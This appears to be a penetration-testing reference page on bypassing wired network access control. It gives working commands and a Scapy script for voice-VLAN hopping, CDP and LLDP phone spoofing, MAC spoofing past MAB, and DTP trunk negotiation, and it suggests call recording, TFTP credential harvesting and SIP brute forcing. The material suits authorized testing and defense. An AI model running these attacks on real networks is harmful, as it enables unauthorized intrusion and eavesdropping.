Skip to content

Network access control (NAC)

802.1X (and fallbacks like MAB) decides which VLAN and policy you get; CDP / LLDP / STP leak how the switch is wired.

VLAN discovery

Usually, switchports are configured as access ports, which only allow specific VLANs, but there are some protocols like CDP / LLDP / STP, which can advertise interesting VLAN ids. We can try to hop to these networks.

Passive discovery

Wireshark filters: cdp, lldp, stp.

bash
tcpdump -ni eth0 -e ether[20:2]=0x2000   # Cisco CDP
tcpdump -ni eth0 ether proto 0x88cc      # LLDP
tcpdump -ni eth0 stp                     # STP BPDU
ProtocolWhat leaksUse
CDPNeighbor, port, native VLAN, voice VLAN (Cisco)Cisco access / voice
LLDP / LLDP-MEDSame + Network Policy (voice VLAN ID)Multi-vendor, IP phones
STPRoot, topology, PVST+ VLAN in BPDUPath / misconfig
DTPTrunk negotiationRogue trunk, extra VLANs

Identifying the voice VLAN

Voice is usually a dedicated VLAN (often tagged on the switch-phone trunk, untagged or separate access VLAN on the PC port). Do not assume the voice ID equals the data VLAN from DHCP on the PC.

  1. CDP (Cisco phone or switch neighbor)
  • Capture on the switch-facing side of the phone (mirror) or any port sending CDP.
  • Wireshark: expand Cisco Discovery Protocol, field Voice VLAN (AVVID / VoIP extensions; filter cdp and search packet details).
  • Also note Native VLAN and Duplex. Voice is not the native VLAN in a typical voice + data trunk.
  1. LLDP-MED (most IP phones)
  • Network Policy TLV: Application Type = Voice (value 1); VLAN ID is the voice VLAN.

  • Wireshark filters:

    text
    lldp.tlv.med.network_policy.application_type == 1
    lldp.tlv.med.network_policy.vlan_id
  • Voice Signaling (type 2) may share the same VLAN or a separate ID. Record both.

  1. From the phone itself
  • Web UI (Network / VLAN): Administrative VLAN, Voice VLAN, PC port VLAN mode (Single VLAN, Separate VLANs, etc.).
  • Cisco: often Auxiliary VLAN / Voice VLAN in status pages; PC port "Span to PC" / Cisco Unified port config.
  1. Traffic on the wire
  • After the phone registers: 802.1Q-tagged RTP/SIP to the voice VLAN ID; untagged PC traffic may stay on access/data VLAN.
  • DHCP: voice clients sometimes use Option 150 (TFTP) / 66, only visible after you are on the voice segment.
  • OUI: Cisco 00:1A:2F..., Polycom, Yealink. Correlate with CDP/LLDP System Name / Chassis ID.
  1. PC port behavior (pivot check)
PC port configWhat the laptop often sees
Voice VLAN untagged to PC (misconfig)DHCP on voice subnet without phone MAB on PC MAC
Access VLAN = data onlyCorp/guest VLAN; voice only on phone trunk
Multi-host behind phoneData VLAN without EAPOL on PC; voice still tagged phone-switch

VLAN hopping via CDP/LLDP-MED spoofing

1a. Spoof CDP-MED announcing yourself as a phone

bash
# Discovery mode: listen for CDP and identify voice VLAN
sudo voiphopper -i eth0 -c 0

# CDP spoof + create tagged interface on detected voice VLAN
sudo voiphopper -i eth0 -c 2

What -c 2 does:

  1. Sniffs the switch's CDP for VoIP VLAN Reply TLV.
  2. Crafts an outbound CDP packet with TLVs that mimic a Cisco IP Phone:
    • Device ID: SEP + a MAC that looks like Cisco phone OUI (00:1B:D4, 00:1E:F7, etc.)
    • Capabilities: Host + Phone
    • Platform: Cisco IP Phone 7960 (or similar)
    • Software version: a plausible firmware string
    • Power consumption (some switches gate the voice VLAN on PoE negotiation)
  3. Creates an 802.1Q VLAN sub-interface (eth0.<voice_vlan>).
  4. DHCPs on it.

You'll see something like:

VoIP Hopper 2.04 Running in CDP Spoof mode
Discovered Voice VLAN: 200
Sending 1 CDP packet(s) to advertise IP Phone presence
VLAN Hop Successful
DHCP IP: 10.10.20.47/24, GW 10.10.20.1

1b. Spoof LLDP-MED announcing yourself as a phone

LLDP-MED is the vendor-neutral equivalent. Use lldpd in TX mode, or specialized tools:

bash
# /etc/lldpd.d/phone.conf
configure system platform "Cisco IP Phone 8845"
configure system description "Cisco IP Phone 8845, Firmware 12.7"
configure med location elin "0000000000"
configure med policy application voice tagged vlan VOICE_VLAN_ID priority voice dscp 46

And restart lldpd:

bash
sudo systemctl restart lldpd

Once the switch processes the LLDP-MED Network Policy advertisement coming from you, some switches will:

  • Add your MAC to the voice domain's permitted list.
  • Echo back the Network Policy with the voice VLAN ID, confirming.
  • For NAC-profiled deployments (ISE), profile you as an IP phone and apply the voice authorization policy automatically.
  1. Manually create the tagged VLAN interface

If voiphopper didn't do it, or you're using LLDP-MED:

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.<NAME> type vlan id <VLAN_ID>
sudo ip link set eth0.<NAME> up
sudo dhclient -v eth0.<NAME>
# or static:
# sudo ip addr add 10.10.20.99/24 dev eth0.200
# sudo ip route add default via 10.10.20.1 dev eth0.200

Now eth0 is your data VLAN interface (untagged) and eth0.<NAME> is your voice VLAN interface (tagged). Both can be live simultaneously on the same physical port.

Step 4: Bypassing 802.1X on the voice domain

Three flavors depending on config:

3a. No 802.1X on voice domain: done at Step 3. You're in.

3b. MAB on voice domain: sniff a phone's MAC (it's printed on the back of every Cisco phone, or sniffable from CDP Device ID = SEP<MAC>), spoof it before sending CDP/DHCP:

bash
sudo ip link set eth0 down
sudo ip link set eth0 address 00:1b:d4:aa:bb:cc
sudo ip link set eth0 up

Then re-run voiphopper or lldpd. Switch sees the "phone" MAC, MAB authorizes it, voice VLAN granted.

3c. EAP-TLS on voice domain: you need a phone cert. Either:

  • Pull the cert from a real phone (many Cisco phones have weak/no protection on the LSC store; web admin or factory mode export).
  • Compromise the CAPF (Certificate Authority Proxy Function) on CUCM, which signs phone certs. CAPF auth strings are sometimes trivial (12345).
  • Skip and find a port without EAP-TLS on voice. These are common because not every phone fleet supports certs.
  1. Recon inside the voice VLAN
ServicePortWhat's there
TFTP69/udpPhone config files (often SEP<MAC>.cnf.xml) with SIP creds, admin URLs, CUCM IPs
HTTP/HTTPS80/443/8080/8443CUCM admin, Unity Connection, phone web UI
SCCP (Skinny)2000/2443Cisco's proprietary VoIP signaling
SIP5060/5061Standard VoIP signaling
RTP16384-32767Active calls, sniffable if you ARP-spoof
SNMP161Phone & infra management, often public/private

Step 6: Useful follow-on attacks once on voice VLAN

  • TFTP enumeration: pull SEP<MAC>.cnf.xml for every phone on the network. Brute the MAC space or learn MACs from CDP/LLDP elsewhere.

    bash
    tftp 10.10.20.5
    tftp> get SEP001BD4AABBCC.cnf.xml

    These configs frequently contain CCMUser auth URLs, CAPF info, and sometimes embedded creds.

  • VOMIT / RTP capture: rtpbreak, wireshark "Telephony > RTP > RTP Streams > Analyze > Player" to record calls if you can position yourself on RTP paths (ARP spoofing inside the voice VLAN, since hubs/switches treat you like any host).

  • SIP attacks: sipvicious (svmap, svwar, svcrack) for enumeration and PIN/password brute force. Many extensions have 1234 voicemail PINs.

  • Call Manager attacks: CUCM has a long history of CVEs (path traversal in CCMAdmin, default application user creds, ciscotac1 accounts). Worth searching the IOS/CUCM version you fingerprinted.

  • Phone exploitation: SSH/Telnet to phones, default creds (cisco/cisco, Administrator/Cisco), web UI debug pages that dump call history, configs, and sometimes provide a "ping" or "traceroute" feature that's a command injection sink.

Workflow: if you captured and configured the voice VLAN, continue with host and service discovery on that subnet.

Tie-in

  1. CDP/LLDP: data, voice, guest, mgmt VLAN IDs.
  2. 802.1X: how each port class authenticates (host mode + EAP/MAB).
  3. Weakest path (voice PC port, multi-host, guest, MAB): scan reached subnet.

802.1X

802.1X is a port-based network access control (NAC): the switch is the authenticator, a supplicant on the endpoint (or phone) runs EAPOL, and RADIUS / NPS (often with AD) issues accept/reject and sometimes a VLAN assignment (RADIUS Tunnel-Private-Group-Id).

Port control (authenticator state)

StateMeaning
AutoDefault: EAPOL required until success
Force authorized802.1X "on" but port open (lab / broken config)
Force unauthorizedPort stays blocked

Host modes (who may send after auth)

Cisco and most enterprise switches implement host mode on access ports. This drives whether a second device (your laptop behind a phone) gets through.

Host modeBehaviorPentest angle
Single-hostOnly the first MAC that authenticates may use the port; others blockedUnplug phone, auth yourself; or wait for timeout and race EAPOL
Multi-hostAfter one successful 802.1X, the port accepts any MAC (hub-like)Plug into PC port behind an authed phone, often no 802.1X on PC
Multi-authEach MAC must authenticate (separate sessions)PC may need its own PEAP/cert; phone and PC on different VLANs
Multi-domain (Cisco MDA)Voice and data domains on the same physical portPhone authenticates (802.1X / MAB) for voice; PC for data, identify both VLANs

Authentication methods on the wire

MethodIdentityTypical use
802.1X + EAPUser/password (PEAP/TTLS), cert (TLS), PAC (FAST)Laptops, workstations
MABMAC addressPhones, printers, cameras (no EAPOL)
802.1X with MAB fallbackEAP first, then MAC if no EAPOLPhones that delay EAPOL
Guest / failed-auth VLANNoneCaptive portal or isolated subnet
WebAuth / CWABrowser loginGuest Wi-Fi; less common on wired

User vs machine: Windows often does computer 802.1X (cert or PEAP) at boot, then user PEAP at logon. Stealing only the user password may not reproduce machine-auth VLANs (or vice versa).

EAP types (from EAPOL capture)

EAP (outer)Typical meaning
PEAP / EAP-TTLSAD username/password (inner MSCHAPv2)
EAP-TLSClient certificate
EAP-FASTCisco PAC provisioning
No EAPOLMAB, open port, or auth on another device
bash
tcpdump -ni eth0 -e ether proto 0x888e   # EAPOL

Wireshark: eapol or eth.type == 0x888e.


Bypassing 802.1X

SituationApproach
PEAP-MSCHAPv2hostapd-wpe, eaphammer, FreeRADIUS-WPE: capture and crack/relay
Stolen client certImport .pfx / profile; auth as that identity
Weak MABSpoof learned phone/printer MAC
Multi-host / open PC portConnect behind authed phone without your own 802.1X
Guest VLANMap routing to corp (ACL mistakes, VPN, dual-homed hosts)
Voice VLAN hopUse voice VLAN identification then scan the voice subnet. You might still need to spoof a specific phone MAC
DTP / double taggingTrunk or nested tags, pair with VLAN discovery

DTP Trunk negotiation

DTP is Cisco-proprietary, on by default on most older Cisco access ports unless explicitly disabled with switchport mode access + switchport nonegotiate. The default mode dynamic auto will accept a trunk if the neighbor asks for one. The default dynamic desirable will initiate one.

If you negotiate a trunk, you receive all VLANs allowed on the trunk (default = all), each as 802.1Q-tagged frames, and you can send into any of them.

Recon DTP availability:

bash
sudo tcpdump -nn -i eth0 -s0 -v -e \
  'ether dst 01:00:0c:cc:cc:cc and ether[20:2]=0x2004'

DTP frames go to the same multicast as CDP (01:00:0c:cc:cc:cc) but with SNAP type 0x2004. If you see them, the port is in dynamic auto or dynamic desirable. If you see nothing for ~60s, DTP is off.

Negotiate a trunk with yersinia:

bash
sudo yersinia -G        # GTK GUI
# or interactive ncurses:
sudo yersinia -I

In the DTP section, choose "enabling trunking". Yersinia sends a DTP packet with:

  • Domain: matching the switch's (or empty)
  • Status: Trunk
  • Type: 802.1Q (or ISL)
  • Neighbor: a fake MAC

Within seconds the switch flips the port to trunking. You'll see CDP traffic from the switch advertising trunk parameters, and BPDUs for every VLAN.

CLI alternative with Scapy:

python
from scapy.all import *
from scapy.contrib.dtp import *

dtp = Ether(dst="01:00:0c:cc:cc:cc", src=RandMAC())/ \
      LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/ \
      SNAP(OUI=0x0c, code=0x2004)/ \
      DTP(tlvlist=[
          DTPDomain(domain=b""),
          DTPStatus(status=b"\x03"),       # trunk
          DTPType(type=b"\xa5"),           # 802.1Q
          DTPNeighbor(neighbor="aa:bb:cc:dd:ee:ff"),
      ])
sendp(dtp, iface="eth0", loop=1, inter=30)

Discover allowed VLANs on the trunk: once it's a trunk, the switch sends BPDUs and CDP for each VLAN. Capture and enumerate:

bash
sudo tcpdump -nn -i eth0 -e vlan

You'll see frames like vlan 1, vlan 10, vlan 100, vlan 200, vlan 999. Each one you see is an allowed VLAN.

Mount sub-interfaces on each VLAN you care about:

bash
for v in 1 10 100 200 999; do
  sudo ip link add link eth0 name eth0.$v type vlan id $v
  sudo ip link set eth0.$v up
  sudo dhclient -v eth0.$v &
done

You're now simultaneously inside every VLAN the trunk allows: guest, data, voice, server, management. Whether you can route between them depends on inter-VLAN ACLs, but you usually find at least one with juicy stuff.

Native VLAN double-tagging is an old trick that occasionally still works on misconfigured switches where the native VLAN is not pruned. Send a frame with two 802.1Q tags: outer = native VLAN, inner = target VLAN. The first switch strips the outer (it matches native), forwards the frame on the trunk with the remaining inner tag, and the next switch delivers it to the target VLAN. One-way only (no replies), but useful for unauthenticated UDP attacks.

References

Defenses

  • switchport mode access + switchport nonegotiate on every access port.
  • Native VLAN set to an unused or guest network.
  • VLAN pruning on trunks.
  • Modern Catalyst dot1x integration disables DTP while unauthorized.